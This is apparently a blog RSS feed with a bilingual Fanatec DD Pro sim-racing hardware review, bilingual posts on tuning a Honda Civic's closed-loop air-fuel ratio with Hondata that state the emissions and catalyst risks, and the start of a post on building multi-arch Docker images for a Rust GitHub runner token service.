All of Fanatec’s equipment is “Designed in Germany, Made in China,” similar to the experience of buying a ThinkPad X1 Carbon. However, the difference is that you can buy the X1 Carbon from the official Chinese channel for an additional cost, while Fanatec does not have this option. You can only import it or purchase it from some Taobao stores.

The DD Pro base and CSL DD base seem to have the same performance, both defaulting to 5Nm. When connected to a 180W power supply, they automatically become 8Nm versions. The difference between the two is that the DD Pro can be used with a PlayStation, while the CSL DD cannot. The price difference on the official website is 100 USD.

They really know how to make money.

Driver Software

To use Fanatec’s equipment, you need to download two drivers: the Fanatec driver and a software called Fanalab.

Fanalab’s download location seems like a forum, but it’s a crucial tool. After downloading it, you can capture some telemetry signals in games, such as ABS, TC activation, and RPM. Without downloading Fanalab, the pedals won’t provide ABS feedback, and the steering wheel won’t display the gear shift indicator lights properly.

Hardware Components

Clubsport V3 Pedals

Official link: https://fanatec.com/eu-en/pedals/clubsport-pedals-v3

Official price: 399.95 USD

For some strange reason, these arrived first, so I started trying to use Fanatec pedals with my G29 steering wheel.

The pedals have a small controller at the back, supporting two connection methods:

  • Direct USB connection to the computer
  • Connecting to the base through a cable that looks like a telephone line

Yes, these pedals do not need a power source.

So, for me, it was a matter of removing the G29 pedals and securely attaching the V3 pedals to my rig using USB connection to the computer.

The mounting holes for these pedals are 8.5mm, while the F-GT Lite rig has 8mm mounting holes. Neither the rig nor the pedals come with corresponding screws for mounting, so I had to make a trip to the hardware store to buy 4 screws for secure mounting.

When I opened Assetto Corsa Competizione, I found that I could mix and match the pedals directly; it was a plug-and-play experience.

In terms of the feel, the brake pedal uses a pressure sensor (or some people call it a load cell) which is quite different from pedals like the G29, which use a position sensor. The pedal’s depth in the game is determined by the pressure on the pedal rather than the physical pedal depth. The actual “feel” of this setup is more linear and consistent compared to the two-stage feel of the G29, which relies on springs and rubber to simulate pedal feel. Initially, it took some getting used to because the in-game pedal depth does not correspond 1:1 to the actual pedal depth. Additionally, the overall pedal travel is shorter. After getting used to it for about 10 laps, coupled with the added ABS feedback from the pedal’s built-in motor (which is essentially vibration), I found that these pedals are excellent for trail braking. You only need to slightly release the brake to reduce brake force in the game, matching the reduction in pedal force (unlike the G29, which requires gradually releasing the pedal’s travel).

The advantage of this pedal feel is that it’s easy to develop muscle memory for braking. In contrast, the G29 doesn’t make it as easy to consistently apply the same amount of braking force at the same position, especially when gradually releasing the brake.

Boost Kit 180 (8Nm)

Official link: https://fanatec.com/us-en/accessories/wheel-base-accessories/boost-kit-180-8nm

Official price: 149 USD, which I find hard to understand, but maybe that’s capitalism for you.

The Boost Kit 180 (8Nm) is essentially a 180W power supply, and there are many DIY tutorials available online.

Yes, this is also “Made in China.”

ClubSport Steering Wheel Formula V2.5

Official link: https://fanatec.com/eu

-en/steering-wheels/clubsport-steering-wheel-formula-v2.5

Official price: 339 USD

This steering wheel requires a quick-release mechanism. It has a good feel to it, but the paddle shifter’s feel wasn’t as good as I had imagined (it even feels inferior to the paddle shifters on the CVT Civic, for example). It’s also “Made in China.”

The wheel has three knobs in the middle, with the left and right knobs labeled 1-12. However, these numbers do not correspond directly to specific inputs. The knobs work by rotating them clockwise or counterclockwise to trigger different inputs. So, if you want to use the knobs to adjust ABS or TC levels, you can only set them to “Increase” and “Decrease” and then match the corresponding number in the game before adjusting ABS or TC levels.

The steering wheel has a very nice feel to it, and it doesn’t emit a strong electronic product odor when you open it. You can also see stickers like QC01 on the back and bottom of the wheel that give it a very factory-like appearance.

Gran Turismo DD Pro Wheel Base (8 Nm)

Official link: https://fanatec.com/eu-en/racing-wheels-direct-drive-bases/direct-drive-bases/gran-turismo-dd-pro-wheel-base-8-nm

Official price: 599.95 USD

The separation of the steering wheel and the base means that in the case of this Fanatec setup, the base provides the steering and force feedback torque, while the steering wheel itself provides the vibrations.

In simple terms, the base is a large, heavy hunk of metal. When mounted on my rig, it’s somewhat unstable (it has quite a bit of wobble when going through corners).

For someone like me who has used a G29 for 4 years, my first impressions of this base, in its 8Nm state, are as follows:

  • When high-speed cornering in Assetto Corsa Competizione, there’s some shaking left and right, and even with significant force applied, it’s challenging to keep it stable.
  • During straight-line driving, the G29 provides no force feedback at all on the steering wheel (similar to being unpowered), while this wheel has some (although it may be due to not enabling the “Road Effect” in the game).
  • Running for two laps at the Nürburgring in the 8Nm state (probably a total of 5 minutes), my arms get as sore as if I had been karting for 8 minutes.
  • In the 8Nm state, the direct drive doesn’t feel as smooth as expected in Assetto Corsa Competizione, but it provides a very smooth experience in Assetto Corsa, which could be due to game settings.

Fanatec’s website offers some recommended settings for different games, like:

These settings recommend reducing the Gain in the game to reduce the overall output (possibly to prevent it from feeling like a workout). After adjusting these settings, the force feedback felt more reasonable and less strenuous, making it more comfortable. After about a week of adaptation and occasional push-ups for arm strength, I can now comfortably use the 8Nm setting along with the ACC settings recommended by Fanatec’s website (mainly a Gain of 79%). I no longer find it challenging to use the wheel for extended periods of driving, such as a 1-hour sprint with the AMG GT3 at Monza.

It feels like the AMG GT3’s force feedback is slightly less than the M4 GT3.

Rig

I continued to use my existing F-GT Lite rig. The mounting holes on this rig can accommodate the DD Pro base, but the position is not ideal (you can’t use all 4 screws). If you use the 3-screw mounting method, you can’t mount it in the middle of the base mounting plate. However, using only two screws seems to be stable enough and provides a good position. Since the DD Pro base has a significant torque, it causes some wobbling of the base mounting plate when the force feedback is active. I bought a metal rod online to reinforce it.

After adding the reinforcement, the wobbling is significantly reduced, and the accuracy and smoothness of the force feedback before and after the reinforcement are like night and day. If you’re facing a similar stability issue, you might want to consider reinforcing it. The accuracy and smoothness of the force feedback are worlds apart.

Real-Life Experience

After receiving the equipment and adapting for two days (approximately 2 hours each day), the addition of the new pedals and steering wheel allowed me to improve my lap time at the Nürburgring in Assetto Corsa Competizione by 1 second. With the use of pedals equipped with a pressure sensor and the additional ABS feedback from the pedal’s motor, it became less likely to accidentally apply too much brake and trigger ABS, causing the car to understeer. The pedal feel is excellent, especially for trail braking, as you can gradually reduce brake force in the game by slightly releasing the brake, matching the reduction in pedal force. This is unlike the G29, where you need to progressively release the pedal’s travel.

In terms of cost-effectiveness, the “bundle” versions sold on Chinese e-commerce platforms are not a good deal (because they come with their own so-called official power supply). If possible, it seems more cost-effective to import the pedals, base, and steering wheel separately and use a self-made power supply. (Or you might consider buying the base second-hand?)

Now it’s about continuous arm strength training and practice. With this equipment, if I’m not fast on the track, it’s definitely my own fault.

]]>
从齿轮机(罗技 G29)到直驱——Fanatec DD Pro 方向盘套装开箱https://nova.moe/fanatec-dd-pro/Mon, 06 Nov 2023 10:00:00 +0800https://nova.moe/fanatec-dd-pro/

If everything seems under control, you’re just not going fast enough.

我的罗技 G29 方向盘套装购买于 2020 年 3 月,如今过去快 4 年了,除了中途因为主板故障导致质保了一个新的机器以外一直稳定工作,期间也安利了好朋友购买方向盘套装成为键盘车手,在体验过了 @lxthunter 的 T300 皮带机感受到了更加细腻的路面反馈之后便开始有了一些想要升级一下自己的方向盘的想法。

最近重新关注了一下 G29 套装和 T300 套装的价格,发现只相差 600 CNY 左右,如果放在今天有人希望我能推荐一款方向盘用来玩模拟赛车游戏(比如 Assetto Corsa Competizione ,Assetto Corsa)的话,那我会极力不推荐 G29 类似的齿轮机。(虽然不得不说廉价齿轮机对于不确定自己是否对赛车游戏感兴趣而只是用来入门的玩家而言其实还是可以的)

Fanatec

由于经常玩 Assetto Corsa Competizione ,游戏内有大量的地方都有着 Fanatec 的广告,无论是 M4 GT3 的车身(虽然 M4 确实和 Fanatec 合作紧密,方向盘也是 Fanatec 生产的)还是一些赛道边上的电子屏上,都有 Fanatec 的踪迹。

最早对于 Fanatec 的搜索来自他们的 Clubsport V3 Pedal,记得当时在搜索了一些评论说这个踏板可以反馈出 ABS 的脚感之后便开始有些种草,但是看到踏板的价格就在 3000+ CNY 之后,便也只能想想了,毕竟在当时看来价格有点过于贵了(当时我才刚毕业,在 PingCAP 工作没多久)。

后来逐渐了解到了一些齿轮,皮带和直驱的差异,对比踏板上霍尔传感器,位移传感器和压力传感器的不同之后,我便决定下一套模拟器设备一定要试试看直驱的。

本来是想找是否有体验店的,搜索了一圈发现上海似乎只有 Hipole 的二楼的一个 G 力支架上才是直驱的,当时去的时候由于有点社恐+是按照小时计费的且价格不便宜,便失去了这唯一一个体验直驱的机会。

那就只能直接买了,这里由于看到一些对于国内的直驱关于驱动方面兼容的不好评价,于是决定直接购买 Fanatec 的全套设备,即:

  • Gran Turismo DD Pro Wheel Base (8 Nm)
  • ClubSport Steering Wheel Formula V2.5
  • ClubSport Pedals V3
  • Boost Kit 180 (8Nm)
  • 复用现有的 Next Level Racing F-GT Lite 支架

Fanatec 的所有设备都是 「Designed in Germany,Made in China」,类似大家购买 ThinkPad X1 Carbon 的体验,不过不同的点在于如果要买 X1 Carbon 可以加价从国内官方渠道购买到国内的版本,而 Fanatec 没有,只能海淘或者从一些淘宝上的店购买。

DD Pro 基座和 CSL DD 基座性能似乎是一样的,都是默认 5Nm ,通过接上 180W 电源会自动变成 8Nm 的版本,两者的差异是 DD Pro 可以接 PS 用,而 CSL DD 不能,价格官网差异 100USD。

真会赚钱.jpg

驱动部分

为了使用 Fanatec 的设备,需要下载两个驱动,一个是 Fanatec 驱动,一个是叫 Fanalab 的东西

Fanalab 的下载地址像是一个论坛一样,非常神奇,这个工具下载了之后才可以捕捉游戏的一些 Telemetry 信号(比如 ABS ,TC 激活,转速等等),如果不下载这个的话踏板不会有 ABS 反馈脚感,方向盘也不会有正常显示的换档提示灯。

硬件部分

Clubsport V3 Pedal

官网链接: https://fanatec.com/eu-en/pedals/clubsport-pedals-v3

官网售价 399.95USD

由于某些奇怪的原因,这个是最先到达的,于是我开始尝试将 Fanatec 踏板和 G29 方向盘联用。

踏板背后有个小的控制器,支持两种连接方式:

  • USB 直接连接电脑
  • 通过一个类似电话线的部分连接基座

是的,踏板不需要插电源

和 G29 的踏板对比:

所以对于我来说就是把 G29 的踏板拆下来,然后把 V3 踏板固定到我的支架上,通过 USB 线连接到电脑即可。

这个踏板的固定孔位是 8.5MM 的,F-GT Lite 支架的孔位是 8MM 的,且支架和踏板都没有提供对应的固定螺丝,所以只好去了一趟五金店买了 4 个螺丝固定,算是能用

打开 Assetto Corsa Competizione,发现直接可以混用,Plug’N Play

从体感上来说,刹车踏板使用了压力传感器(或者有些人说的称重传感器)的踏板和 G29 这类使用位移传感器的有较大的不同,即并不是纯粹通过踏板踩踏深度来决定游戏内的踏板深度,而是根据踏板压力来决定游戏内踏板深度。

带来的实际的「脚感」就是:刹车踏板相比较 G29 这种弹簧+橡胶强行营造的两段式脚感而言,更加线性+黏糊(踩下和回弹均有类似的感觉,可能是由于内部有两块海绵用来模拟真车的刹车油踩踏脚感),由于游戏内踏板深度不和实际踩踏深度 1:1 对应,且整体体感行程较短,刚开始不太适应,但是大概经过了 10+ 圈的熟悉之后,搭配通过踏板背后的电机提供的所谓的 ABS 反馈(其实就是震动),会发现这个踏板非常适合循迹刹车,因为只需要轻微松开刹车,利用脚力的逐渐变小即可对应游戏中刹车力的逐渐变小(而不是 G29 需要逐渐往后松刹车踏板行程)。

而这种脚感的好处是可以很容易培养起刹车的肌肉记忆(相比较之下 G29 就不太容易做到每圈同样位置能给到非常精确的刹车力,尤其是在逐渐释放刹车的时候)。

Boost Kit 180 (8Nm)

官网链接: https://fanatec.com/us-en/accessories/wheel-base-accessories/boost-kit-180-8nm

官网售价 149USD,我不理解,可能这就是资本主义国家吧

所谓的 Boost Kit 180 (8Nm) 其实就是一个 180W 的电源,国内外有大量的 DIY 的教程。

是的,这个也是「Made in China」的。

ClubSport Steering Wheel Formula V2.5

官网链接: https://fanatec.com/eu-en/steering-wheels/clubsport-steering-wheel-formula-v2.5

官网售价 339USD

方向盘需要搭配快拆使用,质感很不错,就是拨片手感没有想象中的好(感觉甚至不如 CVT 思域自带的拨片手感),也是「Made in China」的

方向盘中间有三个旋钮,左边和右边的旋钮是 1~12 ,但是其实并不是旋到对应数字就是某个特定输入。

旋钮的工作方式是顺时针旋转一下和逆时针旋转一下分别一个输入,所以如果需要用旋钮来改变 ABS,TC 等级的话,只能分别设置到 Increase 和 Decrease ,然后在游戏进入前让旋钮指向的数字和游戏内对应,然后旋转旋钮改变到对应的 ABS,TC 等级。

方向盘手感非常不错,打开也不会闻到很明显的电子产品的味道,还能在拨片后面和底部看到 QC01 等非常国内工厂的贴纸。

Gran Turismo DD Pro Wheel Base (8 Nm)

官网链接: https://fanatec.com/eu-en/racing-wheels-direct-drive-bases/direct-drive-bases/gran-turismo-dd-pro-wheel-base-8-nm

官网售价 599.95 USD

方向盘和基座分离的设定,在 Fanatec 这套上面表现为:基座只提供转向和力回馈扭矩,方向盘本体提供震动。

简单来说,这个是个很大,很重的一坨金属,安装在我的支架上其实有点不太稳定(在过弯的时候会有较多晃动)。

对于一个玩了 4 年 G29 的用户而言,这个基座配合方向盘给我的第一印象如下(在 8Nm 状态下):

  • 在 Assetto Corsa Competizione 高速过弯的时候会有左右的抖动,且即使用力也不太能稳定住
  • 直线行驶的时候 G29 不会有任何的力回馈在方向盘上(类似没通电的状态),这个方向盘是有的(虽然有可能是因为我没有打开游戏中的 Road Effect)
  • 8Nm 状态下跑两圈 Nürburgring (可能总计 5 分钟)之后胳膊会和玩了 8 分钟卡丁车娱乐车一样酸
  • 8Nm 状态下直驱在 Assetto Corsa Competizione 没有想象中的顺滑,但是在 Assetto Corsa 中就能感受到非常顺滑的体验,可能是游戏设置的问题

Fanatec 的官网(轮胎)上对于不同的游戏会有一些推荐设置,比如:

这些设置都会建议调低游戏中的 Gain 来减少总输出(可能防止成为健身器材),调整之后力回馈相对来说就合理一些了,不会过于健身,且经过了大约一周的适应和不定期的俯卧撑进行臂力加强之后,现在使用方向盘的 8Nm 状态配合 Fanatec 官网建议的 ACC 设置(主要是 Gain 79%)之后感觉已经完全可以适应较长时间的驾驶(比如用 AMG GT3 的 1Hr 的 Monza 连续冲刺):

感觉 AMG GT3 的力反馈比 M4 GT3 要小一些

支架

继续复用了之前的 F-GT Lite 支架,这个支架的孔位能装 DD Pro 基座,但是安装的位置并不是很理想(没法上 4 个螺丝,如果用 3 个螺丝的安装方式的话,不能安装在基座安装板的中间,不过好在只上两个螺丝也可以稳定固定住,且获得一个还不错的位置),由于 DD Pro 扭矩比较大,在力回馈的时候会导致基座安装板上下晃动,网购了一根金属棍子来加强:

经过加强之后晃动就明显减少了,效果非常不错,如果你也有类似的固定不稳的问题的话可以参考一下,固定前后力回馈的准确度和顺畅度完全两个世界。

实际体验

在到货并适应了两天(大概每天 2 Hr)之后,有了新的踏板+方向盘的加成,让我在 Assetto Corsa Competizione 中跑 Nürburgring 又快了 1s,由于踏板使用了压力传感器(且由于有震动反馈,在踩出 ABS 之后脚上有了一个额外反馈的输入),不会像之前使用 G29 纯位移传感器的情况下容易不小心刹车踩多导致出 ABS 然后车开始狂推头,且循迹的范围刚好在两段压力的交界处导致不能稳定循迹的问题。

方向盘(基座)的力回馈其实说实话感觉和 T300 有些像,只是整体放大了回馈,对于 Nürburgring 赛道而言其实没有感觉到网上说的「更加迅速」「没有延迟」等,但是对于 Monza ,Laguna Seca 等组合急弯较多的赛道而言会逐渐感觉这套直驱的反馈速度,以及车在路肩上下的时候力反馈变化的猛烈程度(对比皮带机和齿轮机而言,从没有反馈到最大反馈需要的时间明显短了不少)。

即使在 8Nm 状态下,在 SPIN 撞墙或者上路肩等情况下也几乎没有扭伤手的可能(就目前来看),但是还是建议戴上手套使用,突然的大角度力反馈(比如 SPIN 导致方向盘 180 度旋转)可能会让大拇指被方向盘上大拇指位置的两个旋钮划痛。

从性价比来看,国内淘宝店上出售的「套装」版本绝对算是性价比很差的(因为会自带所谓的官方电源),如果有条件的话感觉似乎海淘踏板,基座和方向盘,然后直接使用自制电源性价比会更高。(或者基座应该也可以直接买二手?)

接下来就是持续锻炼臂力加上保持练习了,这样的设备再跑不快那就一定是人的问题了,没得跑。

]]>
将闭环空燃比从 14.7 调节到 15.4 来获得更低的油耗表现——十代思域 + Hondata 的一次测试https://nova.moe/lean-af-fuel-economy/Sun, 24 Sep 2023 08:00:00 +0800https://nova.moe/lean-af-fuel-economy/在一个名为「AFR 16」的小圈子中偶然看到「冬夏」提到了一个更稀的空燃比降低油耗的思路,打算为此进行验证。

申明:本文是对于 AF 以及一些相关的知识学习后的笔记,作为一个非车辆工程相关的人,部分文章内容可能并不正确,仅供参考。

我始终相信,在国内这个改装圈非常混乱,商家水平良莠不齐的情况下,人和车一起成长绝对比无脑花钱跟风改装更加有意义,于是,在此我记录下所有的改件和改后的效果,以及一些心得体会。

理论部分

对于汽油发动机而言,不同的空燃比会决定不同的燃烧特性,例如我们可以从下图中得到这么个曲线:

上图来源:https://commons.wikimedia.org/wiki/File:Ideal-stoichiometry.svg

但是一般来说我们会从各种地方得到 14.7:1 这个黄金 AF,但是结合上图可以看到 14.7 并不在 Best fuel economy 中。

我们从「汽油发动机稀薄燃烧NOx后处理系统试验研究」一文(链接见附录)中可以看到如下文字:

我们可以得到两个针对「厂商将 AF 设定到 14.7 而不是 15.4 或者更高」的初步猜测:

  • 为了更好的动力表现
  • 为了更好的排放表现
  • 保护排气头段中的三元催化剂

我们知道氮氧化物的量是排放标准的指标之一,在国 6B 排放全面推行的 2023 年,对比国 6A 而言对于氮氧化物的限制从 60 mg/km 降低到了 35 mg/km。

我们来看另一个不同的空燃比对于排放的表现的图:

上图来源:https://www.researchgate.net/post/Is_there_any_mathematical_model_for_carbon_monoxide_amount_in_terms_of_air_to_fuel_ratio2

没有找到这个图具体在哪个论文中被使用过。

可以看到从 14 开始到 16 之间氮氧化物(绿线)达到了顶峰,或许可以印证上文中「为了更好的排放表现」的猜测,尤其是考虑到现代车辆的 ECU 程序是各种油耗/排放/同派系不同市场车型标定等各种妥协的产物。

所以在上面的理论部分我们可以得出一个初步结论:如果你不在意环保表现(或者说你不是汽车生产商),只是为了更好的油耗表现的话,那么应该将空燃比(其实这里更加准确的说法是——闭环状态下的空燃比)调节到接近 15.4。

实践部分

为了验证我们的理论是否正确,我们可以通过实验来进行,首先交代一下实验车辆:

  • 十代两厢手动思域
  • 2/3 箱 98 号汽油 + HKS 0W-20 机油
  • 235/40/R18 的 AD09 轮胎,测试条件下胎温 25 度,前轮胎压 2.2,后轮胎压 2.3
  • 测试道路:上海中环高架某处
  • 测试天气:进气温度 30 度,中雨

由于有 Hondata ,我们可以很容易修改车辆的闭环 AF 值,原始设定如下:

可以看到原厂标定就是 14.7。

我们分别将这里的值修改为 15.4, 15.5 和 16 分别写入 ECU 进行测试:

出于安全考虑,Closed loop target lambda high load 的值没有被调整,因为高负载下稀空燃(比如高档位低转速稳定巡航的时候突然 tip-in 一脚油门,此时负载很高但是空燃比很稀)有更大的爆震风险。

测试方式为使用 ACC 定速巡航 70KM/h ,并保持 10+KM 的行驶里程以求获得一个相对准确的油耗数据。

当然,这里由于中环路也不是一个非常平的路面,且三次测试中降雨量和风速可能也有差异,这里主要作为一个定性对比而非严谨的定量对比。

AF 14.7

油耗为 4.8L/100KM

AF 15.4

油耗为 3.6L/100KM

AF 15.5

油耗为 3.9L/100KM

AF 16

油耗为 4.1L/100KM

从上面的可能包含误差的结果来看,将 AF 从 14.7 提升到 15.5 后油耗从 4.8L/100KM 下降到了 3.9L/100 KM,得到的数据比较符合「汽油发动机稀薄燃烧NOx后处理系统试验研究」一文中油耗 3.1%~10.1% 的提升。

总结表格如下:

AF 油耗(L/100KM)
14.7 4.8
15.4 3.6
15.5 3.9
16 4.1

一些题外话

这样的油耗数据意味着什么?

以我的车使用 98 号汽油,本文编写时上海 98 号汽油价格为 9.93 CNY/L 来看,在高速公路匀速巡航的时候,每 100KM 可以节省 (4.8-3.9)*9.93 = 8.937 CNY。

为什么厂商不这么做?这么做会有什么其他的问题?

这里我个人的想法有如下:

  • 会导致更加高的氮氧化物排放
    • 这个排放很可能让车辆没法通过国 6B 的排放限制(导致车辆无法上市),所以作为妥协的一个结果
  • 会有更高的排气温度
    • 在 Hondata 的文档 https://www.hondata.com/help/flashpro/index.html?closed_loop_parameters.htm 中有如下描述: Warning: Running leaner than stoichiometric (lambda 1, approx 14.6:1) will increase exhaust gas temperatures. For this reason it is not recommend to change these parameters for vehicles with catalysts.

      所以对于非直通头段的车来说更稀的 AF 会带来更高的排气温度,这个温度可能会对排气系统造成损伤(准确来说是头段里面的三元催化器)

  • 可能会导致动力下降
    • 如下图可以了解到,比 14.7 稍微浓一点的空燃可能可以提升些许动力,但是更稀的空燃会导致动力快速下降

上图来源: http://www.mummbrothers.com/SRF_Stuff/Secrets/Driveline/Air_Fuel.htm

我们作为消费者,在了解了原理和可能产生的副作用后,在这里可以有所取舍,然后得到我们想要的结果,毕竟这才是我们自己的车不是嘛?(而不是拿到手之后可以被厂商随意 OTA 和强奸各种奇怪功能的车)

调节时候遇到的趣事

发现在使用 Hondata 公版程序——即没有调节过上文截图中的 AF 表格的时候,Datalog 中 AFCMD(ECU 请求 AF)会一直抖动。

而调节了之后,AFCMD 相对就稳定了很多。

不确定这里是由于原车电脑 ECU 有啥额外的补偿,还是说 Hondata 的公版程序这里有什么 Bug 导致。

通过一点理论结合实际动手,是不是对你的车和内燃机的特性又有了更多的了解呢?

References

  1. 我们说的发动机空燃比,是个狠角色
  2. 汽油发动机稀薄燃烧NOx后处理系统试验研究
  3. http://www.mummbrothers.com/SRF_Stuff/Secrets/Driveline/Air_Fuel.htm
  4. Closed loop parameters
]]>
Adjusting the closed-loop air-fuel ratio from 14.7 to 15.4 for Improved Fuel Efficiency – A Test on a 10th Generation Civic with Hondatahttps://nova.moe/lean-af-fuel-economy-en/Sun, 24 Sep 2023 07:50:00 +0800https://nova.moe/lean-af-fuel-economy-en/I came across a discussion in a small circle called “AFR 16,” where “冬夏” mentioned an idea about adjusting the air-fuel ratio (AFR) to achieve lower fuel consumption. I decided to verify this idea.

Disclaimer: This article is a collection of notes after studying AF (Air-Fuel) and related knowledge. As someone not involved in automotive engineering, some of the content may not be entirely accurate and is for reference only.

I always believe that in the chaotic world of vehicle modifications in China, it makes more sense for both the individual and the vehicle to grow together than blindly spending money on trendy modifications. So, I am recording all the modifications, their effects, and some insights here.

Theoretical Part

For gasoline engines, different AFRs determine different combustion characteristics, as can be seen from the curve below:

Ideal Stoichiometry Curve

Image Source: https://commons.wikimedia.org/wiki/File:Ideal-stoichiometry.svg

However, in general, we often hear about the “golden” AFR of 14.7:1, but as shown in the graph, 14.7 is not in the “Best fuel economy” range.

From the article “Experimental Study on Lean-Burn NOx Aftertreatment System for Gasoline Engines” (link in the appendix), we can find the following passage:

Thesis Excerpt

We can make two preliminary guesses regarding why manufacturers set the AFR to 14.7 instead of 15.4 or higher:

  • To improve power performance.
  • To improve emission performance.

We know that the quantity of nitrogen oxides (NOx) is one of the indicators of emission standards. With the full implementation of China 6B emissions standards in 2023, the NOx limit has been reduced from 60 mg/km to 35 mg/km compared to China 6A.

Let’s look at another graph showing the performance of different AFRs on emissions:

Emissions vs. AFR

Image Source: https://www.researchgate.net/post/Is_there_any_mathematical_model_for_carbon_monoxide_amount_in_terms_of_air_to_fuel_ratio2

I couldn’t find the specific paper where this graph was used.

It can be seen that nitrogen oxides (green line) reach their peak between 14 and 16. This may confirm the earlier guess of “To improve emission performance,” especially considering that modern vehicle ECUs are the result of compromises between fuel consumption, emissions, and calibration for different markets within the same vehicle category.

So, based on the theoretical part above, we can arrive at a preliminary conclusion: if you don’t care about environmental performance (or you’re not an automobile manufacturer), and you’re aiming for better fuel economy, you should adjust the air-fuel ratio (AFR) (more accurately, the closed-loop AFR) to be close to 15.4.

Practical Part

To verify our theory, we can conduct experiments. First, let’s introduce the test vehicle:

  • 10th generation two-door manual Honda Civic
  • Fuel: 98 octane(RON) gasoline + HKS 0W-20 engine oil
  • Tires: 235/40/R18 AD09 tires with a tire temperature of 25 degrees Celsius, front tire pressure of 2.2, and rear tire pressure of 2.3
  • Test road: A section of the Shanghai Middle Ring Elevated Road
  • Weather during the test: Intake temperature of 30 degrees Celsius, light rain

Test Vehicle

Since we have Hondata, we can easily modify the closed-loop AFR values of the vehicle. The original settings are as follows:

Original AFR Settings

You can see that the factory calibration is at 14.7.

We will modify these values to 15.4, 15.5, and 16 in the ECU for testing:

Modified AFR Settings

For safety reasons, the “Closed-loop target lambda high load” value was not adjusted because running a lean AFR under high load conditions (such as suddenly applying throttle during stable cruising in a high gear at low RPMs, where load is high but AFR is lean) carries a higher risk of detonation.

The testing method involves using adaptive cruise control (ACC) to maintain a constant speed of 70 km/h and recording fuel consumption data after driving for more than 10 kilometers to obtain relatively accurate fuel consumption figures.

AFR 14.7

Fuel consumption: 4.8 L/100 km

AFR 14.7

AFR 15.4

Fuel consumption: 3.6 L/100 km

AFR 15.4

AFR 15.5

Fuel consumption: 3.9 L/100 km

AFR 15.5

AFR 16

Fuel consumption: 4.1 L/100 km

AFR 16

From the results, which may contain some errors, we can see that increasing the AFR from 14.7 to 15.5 reduces fuel consumption from 4.8 L/100 km to 3.9 L/100 km, aligning with the “Experimental Study on Lean-Burn NOx Aftertreatment System for Gasoline Engines,” which indicates a fuel consumption improvement of 3.1% to 10.1%.

Fuel Consumption Improvement

Summary table:

AFR Fuel Consumption (L/100 km)
14.7 4.8
15.4 3.6
15.5 3.9
16 4.1

Some Additional Points

What Does This Fuel Consumption Data Imply?

In my car, using 98 octane gasoline, and assuming a gasoline price of 9.93 CNY/L in Shanghai at the time of writing, driving at a constant speed on the highway allows for savings of (4.8 - 3.9) * 9.93 = 8.937 CNY per 100 kilometers.

Why don’t manufacturers do this? What other problems might arise from doing so?

Here are my personal thoughts on this:

  • It would lead to higher nitrogen oxide (NOx) emissions.
    • This emission is likely to prevent vehicles from meeting the emissions limits of National Standard 6B (leading to vehicles not being able to be sold), so it’s a compromise as a result.
  • There would be higher exhaust temperatures.
    • In Hondata’s documentation at https://www.hondata.com/help/flashpro/index.html?closed_loop_parameters.htm, it is described as follows: Warning: Running leaner than stoichiometric (lambda 1, approx 14.6:1) will increase exhaust gas temperatures. For this reason, it is not recommended to change these parameters for vehicles with catalysts.

      So, for cars without direct header sections, a leaner air-fuel mixture would result in higher exhaust temperatures, which could potentially damage the exhaust system (specifically, the three-way catalytic converter inside the header).

  • It might cause a decrease in power.
    • As shown in the following graph, a slightly richer air-fuel mixture than 14.7 could provide a slight increase in power, but a leaner mixture would cause power to drop rapidly.

Power vs. Air-Fuel Ratio

Image source: http://www.mummbrothers.com/SRF_Stuff/Secrets/Driveline/Air_Fuel.htm

As consumers, we can make informed decisions here after understanding the principles and potential side effects. After all, it’s our own cars, right? (Rather than vehicles that can be subject to manufacturer OTA updates and various unusual features after purchase.)

Interesting Findings While Tuning

I noticed that when using the Hondata public version program—meaning

the AFR table in the screenshot above had not been adjusted—the AFCMD (ECU-requested AFR) would constantly fluctuate.

AFR 14.7 Datalog

However, after adjusting it, the AFCMD became much more stable.

AFR 15.5 Datalog

I’m not sure if this is due to additional compensation in the stock ECU or if there’s a bug in the Hondata public program.

By combining a bit of theory with hands-on experience, you might gain a better understanding of your car and internal combustion engine characteristics.

References

  1. Our Talk About Engine Air-Fuel Ratio Is a Serious Matter
  2. Experimental Study on Lean-Burn NOx Aftertreatment System for Gasoline Engines (Chinese)
  3. http://www.mummbrothers.com/SRF_Stuff/Secrets/Driveline/Air_Fuel.htm
]]>
入门 Rust——为 Rust 程序构建 MultiArch Docker 镜像的一点踩坑记录https://nova.moe/rust-multiarch-images/Sun, 03 Sep 2023 15:00:00 +0800https://nova.moe/rust-multiarch-images/事情是这样的,前段时间我和在 BennyThink 讨论要不要亲自下场做一个开源,好用,尊重用户隐私的评论系统来替换掉会随意在也面上插广告的 Disqus,BennyThink 表示想用点新的技术栈(根据上下文,这里的”旧技术栈“ 应该是是指 Python/Node + MySQL/MongoDB 等)。

于是我第一反应就想到了一个 Event sourcing 的设计,一个定序器 + 在 S3 上的可随意平行扩展的方案,而且可以借这个机会熟悉一下 Rust。

虽然后面讨论了一下对于评论系统而言的多维度查询在上面那个方案上几乎等于烂透了。

Anyway,既然牛都吹出去了,那感觉可以从一些小的项目来试试看这个被许多人吹捧的 Rust 用起来到底怎么样了。

由于我不太会写代码,我熟悉任何一个程序开发语言的过程都是面向实现一个小玩具开始(而非阅读「xx 语言设计」等教程),就像:

  • 我入门 Go 是从 WebP Server Go 开始
  • 我入门 PHP 是从 Laravel 开始
  • 我入门 Node 是从写 WebP Server Node 开始
  • 我入门 HTML 是从 Bootstrap 开始(虽然严格意义上还不是,我在初高中的时候非常熟练使用 Frontpage 2003 + table 布局,然后构建出来的 HTML 在不同的浏览器上显示都做不到一样的(早期"自适应"(

所以为了熟悉 Rust,我挑了一个之前一直想解决的痛点开始—— https://github.com/knatnetwork/github-runner-kms,这个过于简单的程序镜像居然有 100+ MB,而且启动和停止速度很慢,属实不应该。

KMS 是个什么?在之前的博文:

中我们可以知道,如果你想运行一个 Self-hosted GitHub Runner,那么你需要有个地方传入你的 GitHub PAT 来获得 Runner 的 Registration Token,然后在 Runner 上通过那个 Token 来注册,这里的风险就是如果你把 PAT 想办法放到了 Runner 里面,那这里 PAT 被盗用之后产生的风险就会非常大,所以 KMS 服务就是将你的 PAT 放到一个额外的服务中,Runner 在启动和停止的时候和 KMS 交互来动态获得 Runner 专属的 Registration Token 和 Remove Token,减少安全隐患。

如果你想了解更加详细的内容,请参考上面的两篇文章。

所以 https://github.com/knatnetwork/github-runner-kms 的工作很简单,只要接受来自 Runner 的请求,给 GitHub 发一个请求,拿到 Token 并返回就可以了,为了让大家更直观的了解工作流程,一个例子如下:

app.get('/:github_org_name/registration-token', (req, res) => {
